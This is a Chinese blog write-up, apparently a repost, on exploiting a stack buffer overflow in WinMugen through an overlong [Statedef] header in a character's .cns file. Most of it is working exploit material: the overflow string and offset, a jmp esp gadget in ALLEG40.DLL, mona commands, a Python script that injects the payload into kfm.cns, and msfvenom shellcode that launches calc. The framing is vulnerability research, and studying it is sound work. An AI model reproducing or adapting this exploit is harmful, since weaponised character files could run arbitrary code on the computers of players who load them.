mugen凶恶研究(2)——StateDef溢出
2023-4-4 09:0:55 Author: 珂技知识分享(查看原文) 阅读量:10 收藏

5.    StateDef溢出

通过搜索得知,其为[Statedef -3]中-3这部分的溢出,那么直接编写溢出代码,放在kfm.cns第一个Statedef之上。

[Statedef AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA][State 1, add]type = poweraddtrigger1 = 1value = 10

od不会智能跳转到溢出报错处,x64dbg可以。

查看47ED05对应反编译代码,位于sub_47EBF0()——memset()

memset()也会溢出吗?理论上并不会,用od断点47ED05,查看汇编对应的含义,就明白发生了什么。

rep stos dword ptr es:[edi]
将edi开始的内存覆盖为eax(为0),4字节一次循环ecx次,这也正是memset()开辟内存核心汇编。而esi和edi都为41414141,很明显是因为前面47ECF2的汇编导致的。也就是说在47ED05之前,已经因为栈溢出覆盖掉了栈中一部分正常的地址,导致memset()报错。
那么具体是哪儿出现的栈溢出呢?稍微熟悉栈溢出的同学,往上翻一翻sub_47EBF0()的代码,就会发现正确答案。

非常熟悉的strcpy(),v33只有64个字节,a3是个int,也就是原本为[Statedef -3]的-3,如果我们填充64个A,就会导致溢出。
动态调试后发现这个动作是在47EC37完成的,再写一个[Statedef AAAA]进去,两次断点来对比一下到底能覆盖哪些东西。

可以看到覆盖了多个返回地址,实际测试下来其中有用的是D3FEE74,偏移量为Statedef+56,那么填充数据就是"Statedef "+"A"*55+"BBBB",注意Statedef后面带个空格。
修改一下后逐步单步后发现尝试跳转到BBBB。

[Statedef AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB][State 1, add]type = poweraddtrigger1 = 1value = 10

栈溢出最简单的利用方式是栈内执行,这需要无NX保护和jmp esp,winmugen刚好满足条件。其自带的ALLEG40.DLL在0x1005FB9D地址写着call esp。
checksec.exe Winmugen.exe
!mona jmp -r esp -cpb "\x00"

那么利用python来替换字符串写入shellcode,当然惯例先用NOP尝试。

import os
if os.path.exists("kfm.cns.bak"): os.remove("kfm.cns") os.rename("kfm.cns.bak", "kfm.cns")
jmp_esp = "\x10\x05\xfb\x9d"[::-1]
payload = jmp_esp + "\x90"*4
f = open("kfm.cns","r+")cns = f.read().replace("BBBB",payload)f.close()
os.rename("kfm.cns", "kfm.cns.bak")
f2 = open("kfm.cns","w")f2.write(cns)f2.close()

在1005FB9D下断点,但并没有达到理想中的效果进入栈中执行,动态调试后可以发现还是因为47ED05也就是memset报错。

经过简单测试,可以发现47ED05被破坏的栈在ret地址后5-8位。

payload = jmp_esp + "\x90"*4 + "AAAA"

根据47ED05上的汇编,本质上是清空一段内存地址,那么我们需要使用一个可写的地址替换掉AAAA,让其不再报错。学习%n和%f的时候我们用过两个不重要的地址0x4b4048和0x4B4000,但由于它实际上是0x00开头的有坏字符所以不行。同理整个winmugen.exe都不行,还好ALLEG40.DLL都是0x10开头的地址,那我们在data断上找一个空白的地址就行。我这里随便选的0x1009BDAD。

jmp_esp = "\x10\x05\xfb\x9d"[::-1]addr = "\x10\x09\xBD\xAD"[::-1]
payload = jmp_esp + "\x90"*4 + addr + "\x90"*4

成功断到1005FB9D,栈布局也和我们溢出的一样。

那么在127EEE78断点,F8后成功在栈上执行NOP

这样就能执行shellcode了吗?还不行,因为我们增加了一个1009BDAD的原因,栈上会把这个地址当作汇编来使用,同样会报错导致无法执行后续的shellcode。这个时候可以利用jmp short跳过这段不可控的地址。

jmp_esp = "\x10\x05\xfb\x9d"[::-1]addr = "\x10\x09\xBD\xAD"[::-1]
payload = jmp_esp + "\xeb\x08\x90\x90" + addr + "\x90"*8

可以看到刚好跳到NOP上,现在可以执行shellcode了吗?还是不行,因为溢出有长度限制,msfvenom最短也要220个字节,而我们只能在栈上控制164字节左右。

payload = jmp_esp + "\xeb\x08\x90\x90" + addr + "\x90"*8 + "A"*164

这里可以想办法缩短shellcode,但还是推荐另外一种不限shellcode长度的办法,参考Reboot人物。它的Reboot.st是这样的。

使用它可以修改shutdown的字节,以免真的导致系统重启,断点47EC1C(sub_47EBF0较前的地址)动态调试。前面有很多无意义的Statedef,快速F9到溢出,也就是Statedef 5900后面一个。

F8几下之后就会发现栈溢出,返回地址被覆盖为5D403246,和Reboot.st可以对应上。但剩下的并没有覆盖。

再F8到47EC4E就会发现5D变成了00,为什么呢?因为\x5D是],完成了对[Statedef的闭合。

继续F8,可以看到Need at least one state controller提示,这是对state的检测,代码如下。

可以看到离我们之前绕过的memset()非常近,而且这个代码中存在return。因为我们在溢出Statedef下面写了一个加气的state,所以走不进这个if中,所以才需要绕memset(),如果没有state,就可以提前return了。
代码走到retn,栈中可以看到,即将跳转到作者精心布置的一个地址403246

而这个地址的代码非常简单,add esp,0x10然后retn,也就是说再次跳转到栈+16的指针,也就是99E244A。

这个地址里存储了溢出Statedef空格后面所有的字节,所以一开始就用jmp short跳到下面的NOP。此时shellcode长度的限制就完全没有了。我们先修改kfm.cns.bak代码。

[Statedef BBBB

然后写好python脚本。
msfvenom -p windows/exec cmd="calc" exitfunc=thread -b "\x00\x1A\x3B" -f python

import os
buf = b""buf += b"\xda\xd8\xb8\x8c\xbc\x61\xa1\xd9\x74\x24\xf4\x5a\x2b"buf += b"\xc9\xb1\x30\x83\xc2\x04\x31\x42\x14\x03\x42\x98\x5e"buf += b"\x94\x5d\x48\x1c\x57\x9e\x88\x41\xd1\x7b\xb9\x41\x85"buf += b"\x08\xe9\x71\xcd\x5d\x05\xf9\x83\x75\x9e\x8f\x0b\x79"buf += b"\x17\x25\x6a\xb4\xa8\x16\x4e\xd7\x2a\x65\x83\x37\x13"buf += b"\xa6\xd6\x36\x54\xdb\x1b\x6a\x0d\x97\x8e\x9b\x3a\xed"buf += b"\x12\x17\x70\xe3\x12\xc4\xc0\x02\x32\x5b\x5b\x5d\x94"buf += b"\x5d\x88\xd5\x9d\x45\xcd\xd0\x54\xfd\x25\xae\x66\xd7"buf += b"\x74\x4f\xc4\x16\xb9\xa2\x14\x5e\x7d\x5d\x63\x96\x7e"buf += b"\xe0\x74\x6d\xfd\x3e\xf0\x76\xa5\xb5\xa2\x52\x54\x19"buf += b"\x34\x10\x5a\xd6\x32\x7e\x7e\xe9\x97\xf4\x7a\x62\x16"buf += b"\xdb\x0b\x30\x3d\xff\x50\xe2\x5c\xa6\x3c\x45\x60\xb8"buf += b"\x9f\x3a\xc4\xb2\x0d\x2e\x75\x99\x5b\xb1\x0b\xa7\x29"buf += b"\xb1\x13\xa8\x1d\xda\x22\x23\xf2\x9d\xba\xe6\xb7\x42"buf += b"\x59\x23\xcd\xea\xc4\xa6\x6c\x77\xf7\x1c\xb2\x8e\x74"buf += b"\x95\x4a\x75\x64\xdc\x4f\x31\x22\x0c\x3d\x2a\xc7\x32"buf += b"\x92\x4b\xc2\x50\x75\xd8\x8e\x96"
if os.path.exists("kfm.cns.bak"): os.remove("kfm.cns") os.rename("kfm.cns.bak", "kfm.cns")

payload = "\xEB\x3A\x49"payload += "A" * 52payload += "\x46\x32\x40\x5D\x20\x0D\x0A"payload += "\x90" * 16payload += buf

f = open("kfm.cns","r+")cns = f.read().replace("BBBB",payload)f.close()
os.rename("kfm.cns", "kfm.cns.bak")
f2 = open("kfm.cns","w")f2.write(cns)f2.close();

效果如下。



文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486287&idx=1&sn=60a0dac030b5e19191d5676ecb81d484&chksm=fa973620cde0bf3609d127b436d709b0879aa08645e06ce433b83bb15f421a1685eaec71222e#rd
如有侵权请联系:admin#unsafe.sh